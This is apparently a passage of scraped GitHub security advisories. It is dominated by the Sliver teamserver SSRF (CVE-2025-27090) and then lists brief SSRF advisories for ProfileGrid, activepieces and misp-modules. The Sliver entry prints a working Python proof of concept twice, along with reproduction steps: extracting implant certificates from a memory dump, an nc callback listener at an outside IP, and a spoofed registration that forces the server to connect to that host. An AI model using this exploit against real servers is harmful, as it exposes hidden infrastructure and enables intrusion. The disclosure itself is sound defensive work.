        //sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
        // {{end}}
        tunnel.Writer.Write(recv.Data)

        // Delete the entry we just wrote from the cache
        tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
        tunnel.IncReadSequence() // Increment sequence counter

        // {{if .Config.Debug}}
        //sessionHandlerLog.Infof("[message just received] %v", tunnelData)
        // {{end}}
    }

    //If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
    //Send a Resend packet to have the msg resent from the cache
    if tunnelDataCache.Len(tunnel.ID) > 3 {
        data, err := proto.Marshal(&sliverpb.TunnelData{
            Sequence: tunnel.WriteSequence(), // The tunnel write sequence
            Ack:      tunnel.ReadSequence(),
            Resend:   true,
            TunnelID: tunnel.ID,
            Data:     []byte{},
        })
        if err != nil {
            // {{if .Config.Debug}}
            //sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
            // {{end}}
        } else {
            // {{if .Config.Debug}}
            //sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
            // {{end}}
            implantConn.RequestResend(data)
        }
    }
    return nil
}

Impact

For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys For HTTP listeners, you will need to generate valid nonce Not sure about other transport types

POC

POC code, it is not cleaned up at all, please forgive me

#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string

ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE



def generate_random_string(length=8):
    # Combine letters and digits
    characters = string.ascii_letters + string.digits
    # Generate random string
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def rand_unicode(junk_sz):
  junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk_register(junk_sz):
  n = generate_random_string()
  register = {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config_id"+n,
        "PeerID": -1,
        "Locale": "locale" + n
  }

  return register



def make_ping_env():
  reg = sliver.Ping()
  json_format.Parse(json.dumps({}),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Ping')
  envelope.Data = reg.SerializeToString()

  return envelope



def make_rt_env():

    jdata = {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv[4]),
                "Host": sys.argv[3],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg = sliver.TunnelData()
    json_format.Parse(json.dumps(jdata),reg)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('TunnelData')
    envelope.Data = reg.SerializeToString()

    return envelope




def send_envelope(envelope,ip,port):
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    with ssl_ctx.wrap_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data_len = struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 = make_rt_env()
      data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )

      print(data_len)

      ssock.write(data_len + envelope.SerializeToString()) 
      ssock.write(data_len3 + envelope3.SerializeToString())




      # No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data_len3 + envelope3.SerializeToString())



def register_session(ip,port):
  print('[yellow]\[i][/yellow] Sending session registration.')
  reg = sliver.Register()
  json_format.Parse(json.dumps(junk_register(50)),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Register')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

def register_beacon(ip,port):
  print('[yellow]\[i][/yellow] Sending beacon registration.')
  reg = sliver.BeaconRegister()
  reg.ID = str(uuid.uuid4())
  junk_sz = 50
  reg.Interval = random.randint(0,10*junk_sz)
  reg.Jitter = random.randint(0,10*junk_sz)
  reg.NextCheckin = random.randint(0,10*junk_sz)
  json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('BeaconRegister')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if __name__ == '__main__':
  register_session(sys.argv[1], int(sys.argv[2]))
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.42"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.26"
            },
            {
              "fixed": "1.5.43"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-19T21:11:33Z",
    "nvd_published_at": "2025-02-19T22:15:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so\n\n\n### Reproduction steps\nRun server\n```\nwget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux\nchmod +x sliver-server_linux\n./sliver-server_linux\n```\n\nGenerate binary\n```\ngenerate --mtls 127.0.0.1:8443\n```\n\nRun it on windows, then `Task manager -\u003e find process -\u003e Create memory dump file`\n\n\nInstall RogueSliver and get the certs\n```\ngit clone https://github.com/ACE-Responder/RogueSliver.git\npip3 install -r requirements.txt --break-system-packages\npython3 ExtractCerts.py implant.dmp\n```\n\nStart callback listener. Teamserver will connect when POC is run and send \"ssrf poc\" to nc\n```\nnc -nvlp 1111\n```\n\nRun the poc (pasted at bottom of this file)\n```\npython3 poc.py \u003cSLIVER IP\u003e \u003cMTLS PORT\u003e \u003cCALLBACK IP\u003e \u003cCALLBACK PORT\u003e\npython3 poc.py 192.168.1.33 8443 44.221.186.72 1111\n```\n\n\n### Details\nWe see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed\n```go\nfunc handleSliverConnection(conn net.Conn) {\n\tmtlsLog.Infof(\"Accepted incoming connection: %s\", conn.RemoteAddr())\n\timplantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())\n\n\tdefer func() {\n\t\tmtlsLog.Debugf(\"mtls connection closing\")\n\t\tconn.Close()\n\t\timplantConn.Cleanup()\n\t}()\n\n\tdone := make(chan bool)\n\tgo func() {\n\t\tdefer func() {\n\t\t\tdone \u003c- true\n\t\t}()\n\t\thandlers := serverHandlers.GetHandlers()\n\t\tfor {\n\t\t\tenvelope, err := socketReadEnvelope(conn)\n\t\t\tif err != nil {\n\t\t\t\tmtlsLog.Errorf(\"Socket read error %v\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\timplantConn.UpdateLastMessage()\n\t\t\tif envelope.ID != 0 {\n\t\t\t\timplantConn.RespMutex.RLock()\n\t\t\t\tif resp, ok := implantConn.Resp[envelope.ID]; ok {\n\t\t\t\t\tresp \u003c- envelope // Could deadlock, maybe want to investigate better solutions\n\t\t\t\t}\n\t\t\t\timplantConn.RespMutex.RUnlock()\n\t\t\t} else if handler, ok := handlers[envelope.Type]; ok {\n\t\t\t\tmtlsLog.Debugf(\"Received new mtls message type %d, data: %s\", envelope.Type, envelope.Data)\n\t\t\t\tgo func() {\n\t\t\t\t\trespEnvelope := handler(implantConn, envelope.Data)\n\t\t\t\t\tif respEnvelope != nil {\n\t\t\t\t\t\timplantConn.Send \u003c- respEnvelope\n\t\t\t\t\t}\n\t\t\t\t}()\n\t\t\t}\n\t\t}\n\t}()\n\nLoop:\n\tfor {\n\t\tselect {\n\t\tcase envelope := \u003c-implantConn.Send:\n\t\t\terr := socketWriteEnvelope(conn, envelope)\n\t\t\tif err != nil {\n\t\t\t\tmtlsLog.Errorf(\"Socket write failed %v\", err)\n\t\t\t\tbreak Loop\n\t\t\t}\n\t\tcase \u003c-done:\n\t\t\tbreak Loop\n\t\t}\n\t}\n\tmtlsLog.Debugf(\"Closing implant connection %s\", implantConn.ID)\n}\n```\n\nThe available handlers:\n```go\nfunc GetHandlers() map[uint32]ServerHandler {\n\treturn map[uint32]ServerHandler{\n\t\t// Sessions\n\t\tsliverpb.MsgRegister:    registerSessionHandler,\n\t\tsliverpb.MsgTunnelData:  tunnelDataHandler,\n\t\tsliverpb.MsgTunnelClose: tunnelCloseHandler,\n\t\tsliverpb.MsgPing:        pingHandler,\n\t\tsliverpb.MsgSocksData:   socksDataHandler,\n\n\t\t// Beacons\n\t\tsliverpb.MsgBeaconRegister: beaconRegisterHandler,\n\t\tsliverpb.MsgBeaconTasks:    beaconTasksHandler,\n\n\t\t// Pivots\n\t\tsliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,\n\t\tsliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,\n\t}\n}\n```\n\nIf we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the `tunnelDataHandler` function\n```go\n// The handler mutex prevents a send on a closed channel, without it\n// two handlers calls may race when a tunnel is quickly created and closed.\nfunc tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {\n\tsession := core.Sessions.FromImplantConnection(implantConn)\n\tif session == nil {\n\t\tsessionHandlerLog.Warnf(\"Received tunnel data from unknown session: %v\", implantConn)\n\t\treturn nil\n\t}\n\ttunnelHandlerMutex.Lock()\n\tdefer tunnelHandlerMutex.Unlock()\n\ttunnelData := \u0026sliverpb.TunnelData{}\n\tproto.Unmarshal(data, tunnelData)\n\n\tsessionHandlerLog.Debugf(\"[DATA] Sequence on tunnel %d, %d, data: %s\", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)\n\n\trtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)\n\tif rtunnel != nil \u0026\u0026 session.ID == rtunnel.SessionID {\n\t\tRTunnelDataHandler(tunnelData, rtunnel, implantConn)\n\t} else if rtunnel != nil \u0026\u0026 session.ID != rtunnel.SessionID {\n\t\tsessionHandlerLog.Warnf(\"Warning: Session %s attempted to send data on reverse tunnel it did not own\", session.ID)\n\t} else if rtunnel == nil \u0026\u0026 tunnelData.CreateReverse == true {\n\t\tcreateReverseTunnelHandler(implantConn, data)\n\t\t//RTunnelDataHandler(tunnelData, rtunnel, implantConn)\n\t} else {\n\t\ttunnel := core.Tunnels.Get(tunnelData.TunnelID)\n\t\tif tunnel != nil {\n\t\t\tif session.ID == tunnel.SessionID {\n\t\t\t\ttunnel.SendDataFromImplant(tunnelData)\n\t\t\t} else {\n\t\t\t\tsessionHandlerLog.Warnf(\"Warning: Session %s attempted to send data on tunnel it did not own\", session.ID)\n\t\t\t}\n\t\t} else {\n\t\t\tsessionHandlerLog.Warnf(\"Data sent on nil tunnel %d\", tunnelData.TunnelID)\n\t\t}\n\t}\n\n\treturn nil\n}\n```\n\n\nThe `createReverseTunnelHandler` reads the envelope, creating a socket for `req.Rportfwd.Host` and `req.Rportfwd.Port`.  It will write `recv.Data` to it\n```go\nfunc createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {\n\tsession := core.Sessions.FromImplantConnection(implantConn)\n\n\treq := \u0026sliverpb.TunnelData{}\n\tproto.Unmarshal(data, req)\n\n\tvar defaultDialer = new(net.Dialer)\n\n\tremoteAddress := fmt.Sprintf(\"%s:%d\", req.Rportfwd.Host, req.Rportfwd.Port)\n\n\tctx, cancelContext := context.WithCancel(context.Background())\n\n\tdst, err := defaultDialer.DialContext(ctx, \"tcp\", remoteAddress)\n\t//dst, err := net.Dial(\"tcp\", remoteAddress)\n\tif err != nil {\n\t\ttunnelClose, _ := proto.Marshal(\u0026sliverpb.TunnelData{\n\t\t\tClosed:   true,\n\t\t\tTunnelID: req.TunnelID,\n\t\t})\n\t\timplantConn.Send \u003c- \u0026sliverpb.Envelope{\n\t\t\tType: sliverpb.MsgTunnelClose,\n\t\t\tData: tunnelClose,\n\t\t}\n\t\tcancelContext()\n\t\treturn nil\n\t}\n\n\tif conn, ok := dst.(*net.TCPConn); ok {\n\t\t// {{if .Config.Debug}}\n\t\t//log.Printf(\"[portfwd] Configuring keep alive\")\n\t\t// {{end}}\n\t\tconn.SetKeepAlive(true)\n\t\t// TODO: Make KeepAlive configurable\n\t\tconn.SetKeepAlivePeriod(1000 * time.Second)\n\t}\n\n\ttunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)\n\trtunnels.AddRTunnel(tunnel)\n\tcleanup := func(reason error) {\n\t\t// {{if .Config.Debug}}\n\t\tsessionHandlerLog.Infof(\"[portfwd] Closing tunnel %d (%s)\", tunnel.ID, reason)\n\t\t// {{end}}\n\t\ttunnel := rtunnels.GetRTunnel(tunnel.ID)\n\t\trtunnels.RemoveRTunnel(tunnel.ID)\n\t\tdst.Close()\n\t\tcancelContext()\n\t}\n\n\tgo func() {\n\t\ttWriter := tunnelWriter{\n\t\t\ttun:  tunnel,\n\t\t\tconn: implantConn,\n\t\t}\n\t\t// portfwd only uses one reader, hence the tunnel.Readers[0]\n\t\tn, err := io.Copy(tWriter, tunnel.Readers[0])\n\t\t_ = n // avoid not used compiler error if debug mode is disabled\n\t\t// {{if .Config.Debug}}\n\t\tsessionHandlerLog.Infof(\"[tunnel] Tunnel done, wrote %v bytes\", n)\n\t\t// {{end}}\n\n\t\tcleanup(err)\n\t}()\n\n\ttunnelDataCache.Add(tunnel.ID, req.Sequence, req)\n\n\t// NOTE: The read/write semantics can be a little mind boggling, just remember we\u0027re reading\n\t// from the server and writing to the tunnel\u0027s reader (e.g. stdout), so that\u0027s why ReadSequence\n\t// is used here whereas WriteSequence is used for data written back to the server\n\n\t// Go through cache and write all sequential data to the reader\n\tfor recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {\n\t\t// {{if .Config.Debug}}\n\t\t//sessionHandlerLog.Infof(\"[tunnel] Write %d bytes to tunnel %d (read seq: %d)\", len(recv.Data), recv.TunnelID, recv.Sequence)\n\t\t// {{end}}\n\t\ttunnel.Writer.Write(recv.Data)\n\n\t\t// Delete the entry we just wrote from the cache\n\t\ttunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())\n\t\ttunnel.IncReadSequence() // Increment sequence counter\n\n\t\t// {{if .Config.Debug}}\n\t\t//sessionHandlerLog.Infof(\"[message just received] %v\", tunnelData)\n\t\t// {{end}}\n\t}\n\n\t//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.\n\t//Send a Resend packet to have the msg resent from the cache\n\tif tunnelDataCache.Len(tunnel.ID) \u003e 3 {\n\t\tdata, err := proto.Marshal(\u0026sliverpb.TunnelData{\n\t\t\tSequence: tunnel.WriteSequence(), // The tunnel write sequence\n\t\t\tAck:      tunnel.ReadSequence(),\n\t\t\tResend:   true,\n\t\t\tTunnelID: tunnel.ID,\n\t\t\tData:     []byte{},\n\t\t})\n\t\tif err != nil {\n\t\t\t// {{if .Config.Debug}}\n\t\t\t//sessionHandlerLog.Infof(\"[shell] Failed to marshal protobuf %s\", err)\n\t\t\t// {{end}}\n\t\t} else {\n\t\t\t// {{if .Config.Debug}}\n\t\t\t//sessionHandlerLog.Infof(\"[tunnel] Requesting resend of tunnelData seq: %d\", tunnel.ReadSequence())\n\t\t\t// {{end}}\n\t\t\timplantConn.RequestResend(data)\n\t\t}\n\t}\n\treturn nil\n}\n```\n\n\n\n### Impact\nFor current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now\n\nTo exploit this for MTLS listeners, you will need MTLS keys\nFor HTTP listeners, you will need to generate valid nonce\nNot sure about other transport types\n\n\n\n### POC\nPOC code, it is not cleaned up at all, please forgive me\n```python\n#!/usr/bin/python\nimport sys\nimport time\nimport base64\nimport socket, ssl\nfrom RogueSliver.consts import msgs\nimport random\nimport struct\nimport RogueSliver.sliver_pb2 as sliver\nimport json\nimport argparse\nimport uuid\nfrom google.protobuf import json_format\nfrom rich import print\nimport random\nimport string\n\nssl_ctx = ssl.create_default_context()\nssl_ctx.load_cert_chain(keyfile=\u0027certs/client.key\u0027,certfile=\u0027certs/client.crt\u0027)#,ca_certs=\u0027sliver/ca.crt\u0027)\nssl_ctx.load_verify_locations(\u0027certs/ca.crt\u0027)\nssl_ctx.check_hostname = False\nssl_ctx.verify_mode = ssl.CERT_NONE\n\n\n\ndef generate_random_string(length=8):\n    # Combine letters and digits\n    characters = string.ascii_letters + string.digits\n    # Generate random string\n    random_string = \u0027\u0027.join(random.choice(characters) for _ in range(length))\n    return random_string\n\ndef rand_unicode(junk_sz):\n  junk = \u0027\u0027.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode(\u0027utf-8\u0027,\u0027surrogatepass\u0027).decode()\n  return(junk)\n\ndef junk_register(junk_sz):\n  n = generate_random_string()\n  register = {\n        \"Name\": \"chebuya\"+n,\n        \"Hostname\": \"chebuya.local\"+n,\n        \"Uuid\": \"uuid\"+n,\n        \"Username\": \"username\"+n,\n        \"Uid\": \"uid\"+n,\n        \"Gid\": \"gid\"+n,\n        \"Os\": \"os\"+n,\n        \"Arch\": \"arch\"+n,\n        \"Pid\": 10,\n        \"Filename\": \"filename\"+n,\n        \"ActiveC2\": \"activec2\"+n,\n        \"Version\": \"version\"+n,\n        \"ReconnectInterval\": 60,\n        \"ConfigID\": \"config_id\"+n,\n        \"PeerID\": -1,\n        \"Locale\": \"locale\" + n\n  }\n\n  return register\n\n\n\ndef make_ping_env():\n  reg = sliver.Ping()\n  json_format.Parse(json.dumps({}),reg)\n  envelope = sliver.Envelope()\n  envelope.Type = msgs.index(\u0027Ping\u0027)\n  envelope.Data = reg.SerializeToString()\n\n  return envelope\n\n\n\ndef make_rt_env():\n    \n    jdata = {\n            \"Data\": \"c3NyZiBwb2M=\",\n            \"Closed\": False,\n            \"Sequence\": 0,\n            \"Ack\": 0,\n            \"Resend\": False,\n            \"CreateReverse\": True,\n            \"rportfwd\": {\n                \"Port\": int(sys.argv[4]),\n                \"Host\": sys.argv[3],\n                \"TunnelID\": 0,\n            },\n            \"TunnelID\": 0,\n    }\n\n\n\n    reg = sliver.TunnelData()\n    json_format.Parse(json.dumps(jdata),reg)\n    envelope = sliver.Envelope()\n    envelope.Type = msgs.index(\u0027TunnelData\u0027)\n    envelope.Data = reg.SerializeToString()\n\n    return envelope\n\n\n\n\ndef send_envelope(envelope,ip,port):\n  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    with ssl_ctx.wrap_socket(s,) as ssock:\n      ssock.connect((ip,port))\n\n      print(len(envelope.SerializeToString()))\n      #data_len = struct.pack(\u0027!I\u0027, len(envelope.SerializeToString()) )\n      data_len = struct.pack(\u0027I\u0027, len(envelope.SerializeToString()) )\n\n\n\n\n      envelope3 = make_rt_env()\n      data_len3 = struct.pack(\u0027I\u0027, len(envelope3.SerializeToString()) )\n\n      print(data_len)\n\n      ssock.write(data_len + envelope.SerializeToString()) \n      ssock.write(data_len3 + envelope3.SerializeToString())\n\n\n\n    \n      # No idea why this is reqauired\n      while True:\n          time.sleep(2)\n          ssock.write(data_len3 + envelope3.SerializeToString())\n\n\n\ndef register_session(ip,port):\n  print(\u0027[yellow]\\[i][/yellow] Sending session registration.\u0027)\n  reg = sliver.Register()\n  json_format.Parse(json.dumps(junk_register(50)),reg)\n  envelope = sliver.Envelope()\n  envelope.Type = msgs.index(\u0027Register\u0027)\n  envelope.Data = reg.SerializeToString()\n  send_envelope(envelope,ip,port)\n\ndef register_beacon(ip,port):\n  print(\u0027[yellow]\\[i][/yellow] Sending beacon registration.\u0027)\n  reg = sliver.BeaconRegister()\n  reg.ID = str(uuid.uuid4())\n  junk_sz = 50\n  reg.Interval = random.randint(0,10*junk_sz)\n  reg.Jitter = random.randint(0,10*junk_sz)\n  reg.NextCheckin = random.randint(0,10*junk_sz)\n  json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)\n  envelope = sliver.Envelope()\n  envelope.Type = msgs.index(\u0027BeaconRegister\u0027)\n  envelope.Data = reg.SerializeToString()\n  send_envelope(envelope,ip,port)\n\ndescription = \u0027\u0027\u0027\nFlood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.\n\u0027\u0027\u0027\n\nif __name__ == \u0027__main__\u0027:\n  register_session(sys.argv[1], int(sys.argv[2]))\n```",
  "id": "GHSA-fh4v-v779-4g2w",
  "modified": "2025-02-20T22:47:01Z",
  "published": "2025-02-19T21:11:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-fh4v-v779-4g2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/0f340a25cf3d496ed870dae7da39eab4427bc16f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/10e245326070c6a5884a02e0790bb7e2baefb3a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SSRF in sliver teamserver"
}

GHSA-FH7M-PM37-4VCG

Vulnerability from github – Published: 2025-06-17 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Metagauss ProfileGrid allows Server Side Request Forgery. This issue affects ProfileGrid : from n/a through 5.9.5.2.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49877"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-17T15:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Metagauss ProfileGrid  allows Server Side Request Forgery. This issue affects ProfileGrid : from n/a through 5.9.5.2.",
  "id": "GHSA-fh7m-pm37-4vcg",
  "modified": "2026-04-01T18:35:29Z",
  "published": "2025-06-17T15:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49877"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/profilegrid-user-profiles-groups-and-communities/vulnerability/wordpress-profilegrid-plugin-5-9-5-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHPV-GGGJ-Q6PV

Vulnerability from github – Published: 2026-06-22 00:31 – Updated: 2026-06-22 00:31
VLAI
Details

A vulnerability was detected in activepieces up to 0.83.0. This vulnerability affects the function handleUrlFile in the library packages/server/engine/src/lib/variables/processors/file.ts of the component File URL Handler. The manipulation results in server-side request forgery. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-21T23:16:44Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was detected in activepieces up to 0.83.0. This vulnerability affects the function handleUrlFile in the library packages/server/engine/src/lib/variables/processors/file.ts of the component File URL Handler. The manipulation results in server-side request forgery. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-fhpv-gggj-q6pv",
  "modified": "2026-06-22T00:31:37Z",
  "published": "2026-06-22T00:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12813"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dxz0069/softwareoverflow/blob/main/activepieces_file_property_url_ssrf_vulndb.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12813"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/837553"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/372607"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/372607/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FHQ3-2GF3-8F3J

Vulnerability from github – Published: 2026-05-06 22:31 – Updated: 2026-05-14 20:42
VLAI
Summary
misp-modules has nsafe remote resource fetching in expansion
Details

An unsafe remote resource fetching vulnerability existed in MISP Modules expansion modules. The html_to_markdown module accepted arbitrary HTTP(S) URLs without sufficient validation, which could allow Server-Side Request Forgery against loopback, private, or link-local network resources. Additionally, the qrcode module disabled TLS certificate verification when retrieving remote images, exposing requests to potential man-in-the-middle interception or response tampering. The issue was fixed by validating URL schemes, blocking local and private address ranges, resolving hostnames before fetching, enforcing request timeouts, and re-enabling TLS certificate verification. As reported by Bilal Teke.

Severity
5.8 (Medium)
CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "misp-modules"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:31:03Z",
    "nvd_published_at": "2026-05-13T20:16:23Z",
    "severity": "MODERATE"
  },
  "details": "An unsafe remote resource fetching vulnerability existed in MISP Modules expansion modules. The html_to_markdown module accepted arbitrary HTTP(S) URLs without sufficient validation, which could allow Server-Side Request Forgery against loopback, private, or link-local network resources. Additionally, the qrcode module disabled TLS certificate verification when retrieving remote images, exposing requests to potential man-in-the-middle interception or response tampering. The issue was fixed by validating URL schemes, blocking local and private address ranges, resolving hostnames before fetching, enforcing request timeouts, and re-enabling TLS certificate verification. As reported by Bilal Teke.",
  "id": "GHSA-fhq3-2gf3-8f3j",
  "modified": "2026-05-14T20:42:26Z",
  "published": "2026-05-06T22:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MISP/misp-modules/security/advisories/GHSA-fhq3-2gf3-8f3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44363"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/misp-modules/commit/01a522f2772fc31eeed379ccf23750c8a3d401db"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MISP/misp-modules"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "misp-modules has nsafe remote resource fetching in expansion"
}

GHSA-FHRJ-59H8-J7GF

Vulnerability from github – Published: 2026-02-21 00:31 – Updated: 2026-02-21 00:31
VLAI
Details

